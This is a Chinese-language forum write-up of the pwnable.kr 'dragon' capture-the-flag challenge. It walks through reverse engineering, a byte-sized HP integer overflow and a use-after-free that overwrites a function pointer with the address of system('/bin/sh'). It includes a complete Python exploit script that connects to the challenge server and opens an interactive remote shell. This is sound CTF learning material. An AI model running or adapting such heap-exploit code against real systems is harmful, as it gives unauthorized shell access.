首页
社区
课程
招聘
[原创]pwnable.kr dragon分析
2017-5-19 12:53 3764

[原创]pwnable.kr dragon分析

2017-5-19 12:53
3764

题目地址: http://pwnable.kr/bin/dragon

刚学linux pwn,来做一下题目

首先打开IDAF5反汇编

 

main函数里也没什么东西,直接进入PlayGame

 

这里要求选择英雄 牧师或骑士

这里选择3很瞩目,去看看

 

这里明显看到  system("/bin/sh");这句代码 但是要求输入

Nice_Try_But_The_Dragons_Won't_Let_You!才能执行,但是长度限制了,所以这里没戏,不过这里执行了system("/bin/sh"); 若能改变执行流程到这里,就能利用上

 

接下来进入FightDragon

 

 

这里首先申请了两块内存,观察下面的赋值,应该是两个结构,这里还有一个Count的全局变量,在前面的代码中并没有看到有对他赋值的地方,所以值未知,观察下面的判断,确定其作用是随机一个值,若该值为奇数,执行第一个分支,否则第二个分支。

其中都是函数指针,进去看看有没有关于这两个结构的信息

 

可以看到这里有一个参数,可以从调用他的地方知道这是怪物数据结构的地址。

 

根据输出的字符串信息

 

 

与前面的赋值

 

可以推出monster结构,player的也类似 现在构造这两个结构体

 

 

然后重命名一下相关变量并设置结构类型

 

 

现在主要是看这两部分

 

 

 

 

 

这两个函数就是不同的英雄与龙战斗,选择不同的招数,直到玩家死去或者怪物死去,这里会调用free(monster)并返回是否胜利

可以看到这里

 

如果胜利了会申请一块内存,输入内容并输出,由于申请大小为0x10monster大小一致,所以msgmonster执行的内存一致,后面又调用了monster保存的函数指针,这就很明显的uaf漏洞了,然后地址覆盖为system("/bin/sh")的地址即可getshell,然后现在的任务就是要取得胜利

 

先看看玩家与怪物的初始属性

 

 

 

这里有个坑,无论什么英雄什么怪物什么技能组合都不可能赢,而且玩家死去的优先级更高,坑爹。。。

还好突然灵机一动

 

 

怪物的血量是字节型,

 

胜利的条件是怪物血量<=0

 

怪物每次战斗都会回血

看到这里,猜测是整数溢出

这里选择mama dragon血多,容易溢出

然后看到牧师的技能

 

3是怪物不攻击,2是回蓝,现在只要选择牧师 技能组合为332332332...就行了

 

 

最终代码

import socket
import struct
HOST='pwnable.kr'
PORT=9004
def win():
	shellcode='3\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='3\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='2\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='3\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='3\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='2\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='3\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='3\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='2\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='3\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='3\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='2\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
s=socket.socket()
s.connect((HOST,PORT))
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
shellcode='1\n' #choice job
s.sendall(shellcode.encode('ascii'))
dragon=s.recv(1024).decode('ascii')
print(dragon)
data=s.recv(1024).decode('ascii')
print(data)
if dragon.find('Baby Dragon')>=0:#Baby Dragon
	
	shellcode='1\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	shellcode='1\n'
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	print('mama dragon')
	shellcode='1\n' #choice job
	s.sendall(shellcode.encode('ascii'))
	data=s.recv(1024).decode('ascii')
	print(data)
	data=s.recv(1024).decode('ascii')
	print(data)
	win()
	
else:
	
	print('mama dragon')
	win()
ret_addr=0x08048DBF
shellcode=struct.pack("<I",ret_addr)+'win\n'.encode('ascii') #choice job
s.sendall(shellcode)
data=s.recv(1024).decode('ascii')
print(data)
data=s.recv(1024).decode('ascii')
print(data)
while True:
	cmd=input('cmd:')
	if(cmd=='quit'):
		break
	cmd=cmd+'\n'
	s.sendall(cmd.encode('ascii'))
	data=s.recv(10240).decode('ascii')
	print(data)
s.close()



阿里云助力开发者!2核2G 3M带宽不限流量!6.18限时价,开 发者可享99元/年,续费同价!

收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 1
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
神风s 2017-5-30 09:53
2
0
不错,思路转折挺快
游客
登录 | 注册 方可回帖
返回